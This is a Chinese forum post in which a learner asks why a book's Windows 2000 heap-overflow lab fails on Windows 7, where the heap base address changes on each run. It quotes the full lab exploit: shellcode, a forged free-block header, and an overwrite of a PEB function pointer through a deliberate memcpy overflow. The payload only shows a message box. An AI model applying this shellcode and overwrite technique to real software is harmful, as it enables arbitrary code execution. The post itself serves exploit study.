在win2000里（书里的环境），这个 hp 是不是每次运行都一样（比如：书里是 0x520000）？
注：
我用的是win7，每次 hp 都不一样。因此，书里174页有关堆的shellcode部分我总是不能确定shellcode的起始地址，具体如下：
[COLOR="Blue"][B]下面红色字部分 0x520688是个固定的地址（书里是win2000的环境）；在我目前的运行环境win7中，
却不是固定的，每次都不一样。具体点：偏移0x688是一样的，但起始地址就不是0x520000，且每次运行的起始地址都
不一样[/B][/COLOR]
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"[COLOR="Red"][B]\x88\x06\x52\x00[/B][/COLOR]\x20\xf0\xfd\x7f";
//[COLOR="Red"]0x00520688 is the address of shellcode in first heap block, you have to make sure this address
via debug[/COLOR]
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
